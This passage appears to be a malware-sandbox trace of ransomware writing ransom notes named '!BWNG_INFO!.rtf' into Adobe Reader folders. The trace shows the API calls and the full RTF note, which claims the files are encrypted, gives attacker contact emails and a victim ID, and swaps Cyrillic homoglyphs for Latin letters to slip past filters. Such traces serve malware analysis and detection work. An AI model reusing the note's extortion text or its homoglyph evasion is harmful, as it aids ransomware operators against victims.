r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n\x0f\x05\x0e\x8d\x1d¡øý\x03ø×=\n?\x06û\x1d÷A÷C÷+\x05Ø\\\x1dûN1\x03\x09", lpUsedDefaultChar=0x0) returned 14086 [0041.883] WriteFile (in: hFile=0x168, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0041.884] CloseHandle (hObject=0x168) returned 1 [0041.884] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Services\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\services\\!bwng_info!.rtf")) returned 0xffffffff [0041.884] GetLastError () returned 0x2 [0041.884] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Services\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\services\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0041.885] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 